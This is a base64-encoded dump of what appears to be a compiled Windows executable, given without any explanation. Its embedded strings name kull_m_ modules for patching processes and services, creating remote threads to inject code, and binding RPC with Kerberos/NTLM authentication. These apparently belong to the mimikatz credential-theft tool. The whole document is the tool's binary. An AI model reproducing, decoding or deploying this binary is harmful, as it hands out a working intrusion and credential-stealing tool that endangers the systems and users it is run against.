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AdABEAEMAIAA7ACAARABzAEcAZQB0AEQAYwBOAGEAbQBlADoAIAAlAHUACgAAAEUAcgByAGUAdQByACAATABvAGMAYQBsAEEAbABsAG8AYwA6ACAAJQB1AAoAAAAAAGEAAAAiACUAcwAiACAAcwBlAHIAdgBpAGMAZQAgAHAAYQB0AGMAaABlAGQACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaABfAGcAZQBuAGUAcgBpAGMAUAByAG8AYwBlAHMAcwBPAHIAUwBlAHIAdgBpAGMAZQBGAHIAbwBtAEIAdQBpAGwAZAAgADsAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAAawB1AGwAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAHQAVgBlAHIAeQBCAGEAcwBpAGMATQBvAGQAdQBsAGUASQBuAGYAbwByAG0AYQB0AGkAbwBuAHMARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaABfAGcAZQBuAGUAcgBpAGMAUAByAG8AYwBlAHMAcwBPAHIAUwBlAHIAdgBpAGMAZQBGAHIAbwBtAEIAdQBpAGwAZAAgADsAIABTAGUAcgB2AGkAYwBlACAAaQBzACAAbgBvAHQAIAByAHUAbgBuAGkAbgBnAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AZwBlAHQAVQBuAGkAcQB1AGUARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAASQBuAGMAbwByAHIAZQBjAHQAIAB2AGUAcgBzAGkAbwBuACAAaQBuACAAcgBlAGYAZQByAGUAbgBjAGUAcwAKAAAAAABOAE8ATgBFAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBPAHAAZQBuAEEAbgBkAFEAdQBlAHIAeQBXAGkAdABoAEEAbABsAG8AYwAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAFEAdQBlAHIAeQBWAGEAbAB1AGUARQB4ACAASwBPAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBPAHAAZQBuAEEAbgBkAFEAdQBlAHIAeQBXAGkAdABoAEEAbABsAG8AYwAgADsAIABwAHIAZQAgAC0AIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAFEAdQBlAHIAeQBWAGEAbAB1AGUARQB4ACAASwBPAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAE8AcABlAG4AQQBuAGQAUQB1AGUAcgB5AFcAaQB0AGgAQQBsAGwAbwBjACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcATwBwAGUAbgBLAGUAeQBFAHgAIABLAE8ACgAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAGUAbQBvAHQAZQBsAGkAYgBfAGMAcgBlAGEAdABlACAAOwAgAFIAdABsAEMAcgBlAGEAdABlAFUAcwBlAHIAVABoAHIAZQBhAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AYwByAGUAYQB0AGUAIAA7ACAAQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAVABoAHIAZQBhAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAVABoACAAQAAgACUAcAAKAEQAYQAgAEAAIAAlAHAACgAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAGUAbQBvAHQAZQBsAGkAYgBfAGMAcgBlAGEAdABlACAAOwAgAGsAdQBsAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBpAG8AYwB0AGwAXwBoAGEAbgBkAGwAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAGUAbQBvAHQAZQBsAGkAYgBfAEMAcgBlAGEAdABlAFIAZQBtAG8AdABlAEMAbwBkAGUAVwBpAHQAdABoAFAAYQB0AHQAZQByAG4AUgBlAHAAbABhAGMAZQAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AYwBvAHAAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBDAG8AZABlAFcAaQB0AHQAaABQAGEAdAB0AGUAcgBuAFIAZQBwAGwAYQBjAGUAIAA7ACAAawB1AGwAbABfAG0AXwBtAGUAbQBvAHIAeQBfAGEAbABsAG8AYwAgAC8AIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEUAeAApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAGUAbQBvAHQAZQBsAGkAYgBfAEMAcgBlAGEAdABlAFIAZQBtAG8AdABlAEMAbwBkAGUAVwBpAHQAdABoAFAAYQB0AHQAZQByAG4AUgBlAHAAbABhAGMAZQAgADsAIABOAG8AIABiAHUAZgBmAGUAcgAgAD8ACgAAAEQARQBGAEEAVQBMAFQAAABOAE8ATgBDAEUAAABDAE8ATgBOAEUAQwBUAAAAQwBBAEwATAAAAAAAUABLAFQAAABQAEsAVABfAEkATgBUAEUARwBSAEkAVABZAAAAUABLAFQAXwBQAFIASQBWAEEAQwBZAAAARwBTAFMAXwBOAEUARwBPAFQASQBBAFQARQAAAFcASQBOAE4AVAAAAEcAUwBTAF8ASwBFAFIAQgBFAFIATwBTAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGMAcgBlAGEAdABlAEIAaQBuAGQAaQBuAGcAIAA7ACAAQwBhAG4AbgBvAHQAIABhAGQAZAAgAE4AZQB0AHcAbwByAGsAQQBkAGQAcgAgACYAIABTAGUAcgB2AGkAYwBlACAAaQBmACAATgBVAEwATAAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AYwByAGUAYQB0AGUAQgBpAG4AZABpAG4AZwAgADsAIABSAHAAYwBCAGkAbgBkAGkAbgBnAFMAZQB0AE8AcAB0AGkAbwBuADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGMAcgBlAGEAdABlAEIAaQBuAGQAaQBuAGcAIAA7ACAAUgBwAGMAQgBpAG4AZABpAG4AZwBTAGUAdABBAHUAdABoAEkAbgBmAG8ARQB4ADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGMAcgBlAGEAdABlAEIAaQBuAGQAaQBuAGcAIAA7ACAAUgBwAGMAQgBpAG4AZABpAG4AZwBGAHIAZQBlADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AYwByAGUAYQB0AGUAQgBpAG4AZABpAG4AZwAgADsAIABOAG8AIABCAGkAbgBkAGkAbgBnACEACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AYwByAGUAYQB0AGUAQgBpAG4AZABpAG4AZwAgADsAIABSAHAAYwBCAGkAbgBkAGkAbgBnAEYAcgBvAG0AUwB0AHIAaQBuAGcAQgBpAG4AZABpAG4AZwA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGw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AAABHZXRGdWxsUGF0aE5hbWVXAAAAAEdldExhc3RFcnJvcgAAAABHZXRQcm9jQWRkcmVzc0EAR2V0U3lzdGVtSW5mbwAAAEdldFN5c3RlbVRpbWUAAABHZXRTeXN0ZW1UaW1lQXNGaWxlVGltZQBHZXRUZW1wUGF0aEEAAAAAR2V0VGVtcFBhdGhXAAAAAEdldFRpY2tDb3VudAAAAABHZXRWZXJzaW9uRXhBAAAAR2V0VmVyc2lvbkV4VwAAAEhlYXBBbGxvYwAAAEhlYXBDcmVhdGUAAEhlYXBEZXN0cm95AEhlYXBGcmVlAAAAAEhlYXBSZUFsbG9jAEhlYXBTaXplAAAAAEhlYXBWYWxpZGF0ZQAAAABIZWFwQ29tcGFjdABMb2FkTGlicmFyeUEAAAAATG9hZExpYnJhcnlXAAAAAExvY2FsRnJlZQAAAExvY2tGaWxlAAAAAExvY2tGaWxlRXgAAE1hcFZpZXdPZkZpbGUAAABNdWx0aUJ5dGVUb1dpZGVDaGFyAFF1ZXJ5UGVyZm9ybWFuY2VDb3VudGVyAFJlYWRGaWxlAAAAAFNldEVuZE9mRmlsZQAAAABTZXRGaWxlUG9pbnRlcgAAU2xlZXAAAABTeXN0ZW1UaW1lVG9GaWxlVGltZQAAAABVbmxvY2tGaWxlAABVbmxvY2tGaWxlRXgAAAAAVW5tYXBWaWV3T2ZGaWxlAFdpZGVDaGFyVG9NdWx0aUJ5dGUAV3JpdGVGaWxlAAAAQ3JlYXRlRXZlbnRFeFcAAFdhaXRGb3JTaW5nbGVPYmplY3QAV2FpdEZvclNpbmdsZU9iamVjdEV4AAAAU2V0RmlsZVBvaW50ZXJFeAAAAABHZXRGaWxlSW5mb3JtYXRpb25CeUhhbmRsZUV4AAAAAE1hcFZpZXdPZkZpbGVGcm9tQXBwAAAAAENyZWF0ZUZpbGUyAExvYWRQYWNrYWdlZExpYnJhcnkAR2V0VGlja0NvdW50NjQAAEdldE5hdGl2ZVN5c3RlbUluZm8AT3V0cHV0RGVidWdTdHJpbmdBAABPdXRwdXREZWJ1Z1N0cmluZ1cAAEdldFByb2Nlc3NIZWFwAABDcmVhdGVGaWxlTWFwcGluZ0Zyb21BcHAAAAAASW50ZXJsb2NrZWRDb21wYXJlRXhjaGFuZ2UAAFV1aWRDcmVhdGUAAFV1aWRDcmVhdGVTZXF1ZW50aWFsAAAAAEZsdXNoVmlld09mRmlsZQBPc0Vycm9yIDB4JWx4ICglbHUpACVzAABvc193aW4uYzolZDogKCVsdSkgJXMoJXMpIC0gJXMAAGRlbGF5ZWQgJWRtcyBmb3IgbG9jay9zaGFyaW5nIGNvbmZsaWN0IGF0IGxpbmUgJWQAAAB3aW5TZWVrRmlsZQB3aW5DbG9zZQAAAAB3aW5SZWFkAHdpbldyaXRlMQAAAHdpbldyaXRlMgAAAHdpblRydW5jYXRlMQAAAAB3aW5UcnVuY2F0ZTIAAAAAd2luU3luYzEAAAAAd2luU3luYzIAAAAAd2luRmlsZVNpemUAd2luVW5sb2NrUmVhZExvY2sAAAB3aW5VbmxvY2sAAAB3aW5Vbm1hcGZpbGUxAAAAd2luVW5tYXBmaWxlMgAAAHdpbk1hcGZpbGUxAHdpbk1hcGZpbGUyAGV0aWxxc18Ad2luR2V0VGVtcG5hbWUxAHdpbkdldFRlbXBuYW1lMgB3aW5HZXRUZW1wbmFtZTMAd2luR2V0VGVtcG5hbWU0AHdpbkdldFRlbXBuYW1lNQB3aW5PcGVuAHBzb3cAAAAAd2luRGVsZXRlAAAAd2luQWNj